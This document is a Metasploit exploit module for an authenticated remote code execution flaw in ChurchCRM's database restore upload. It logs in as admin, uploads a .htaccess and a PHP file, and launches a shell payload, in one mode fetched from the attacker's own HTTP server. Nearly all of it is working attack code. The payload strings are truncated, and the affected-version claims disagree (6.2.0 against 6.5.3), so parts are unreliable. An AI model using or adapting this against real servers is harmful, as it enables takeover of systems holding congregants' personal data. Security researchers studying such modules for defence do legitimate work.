## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'ChurchCRM Database Restore RCE 6.2.0', 'Description' => %q{ This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM versions prior to 6.2.0. The vulnerability resides in the Database Restore functionality, which allows an authenticated user with administrative privileges to upload a malicious backup file. By bypassing upload restrictions via a crafted .htaccess file, the module enables PHP code execution in the target directory, ultimately providing the attacker with a Meterpreter shell. }, 'License' => MSF_LICENSE, 'Author' => ['LucasCsmt'], 'References' => [ [ 'GHSA', 'pqm7-g8px-9r77'], [ 'CVE', '2025-68109'] ], 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Linux/unix Command (CmdStager)', { 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => ['linux'], 'Type' => :nix_cmdstager, 'CmdStagerFlavor' => [ 'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget' ] } ], [ 'PHP (In-Memory)', { 'Arch' => [ ARCH_PHP ], 'Platform' => ['php'], 'Type' => :php_memory } ], [ 'PHP (Fetch)', { 'Arch' => [ ARCH_PHP ], 'Platform' => ['php'], 'Type' => :php_fetch } ], ], 'DisclosureDate' => '2025-12-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']), OptString.new('PASSWORD', [true, 'Password for the admin account', nil]) ] ) end # Check if the target is up by accessing the login page def check vprint_status('Checking if the target is reachable...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'session', 'begin') }) unless [200, 301, 302].include?(res.code) return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") end version = res.headers['CRM-VERSION'] if version print_status("Found ChurchCRM version: #{version}") if Rex::Version.new(version) < Rex::Version.new('6.5.3') return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.") else return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.") end end if res.body.include?('ChurchCRM') return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.') end Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.') end # Build the payload that will be into the installation form # # @return : the payload def build_payload case target['Type'] when :php_memory b64_payload = Rex::Text.encode_base64(payload.encoded) "" when :php_fetch payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php' "" else "&1');} ?>" end end # Get the session cookie of the specified user # # @return : the session cookie def get_cookie print_status 'Getting the session cookie' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'session', 'begin'), 'vars_post' => { 'User' => datastore['USERNAME'], 'Password' => datastore['PASSWORD'] } }) fail_with(Failure::Unreachable, 'No answer from the server') unless res fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password') fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins') fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code) cookie = res.get_cookies fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank? print_good 'The session cookie has been received' cookie end # Handles the incoming HTTP request and serves the payload to the target. def on_request_uri(cli, _request) p = payload.encoded send_response(cli, p, { 'Content-Type' => 'application/x-httpd-php', 'Pragma' => 'no-cache' }) end def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name), 'vars_get' => { 'cmd' => cmd } }) end # Upload a file exploiting the database resotre functionality # # @param : file_name, the name of the file to upload # @param : content, the content of the file to upload def upload_file(file_name, content) print_status "Uploading the file : #{file_name}" data = Rex::MIME::Message.new data.add_part( content, 'application/octet-stream', nil, "form-data; name=\"restoreFile\"; filename=\"#{file_name}\"" ) data.add_part('', nil, nil, 'form-data; name="restorePassword"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'cookie' => @cookie }) fail_with(Failure::Unreachable, 'No answer from the server') unless res # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash. fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500 print_good 'The file have been uploaded successfully' end # Execute the payload def execute_payload print_status 'Trying to execute the payload' if target['Type'] == :nix_cmdstager execute_cmdstager( linemax: 500, nodelete: false, background: true, temp: '/tmp' ) else send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name) }) end print_good 'Payload successfully executed' end def exploit if target['Type'] == :php_fetch print_status('Starting HTTP server to serve the payload...') start_service end @cookie = get_cookie upload_file '.htaccess', "Allow from all\n" register_file_for_cleanup('.htaccess') @payload_name = rand_text_alpha(5..10) + '.php' upload_file @payload_name, build_payload register_file_for_cleanup(@payload_name) execute_payload end end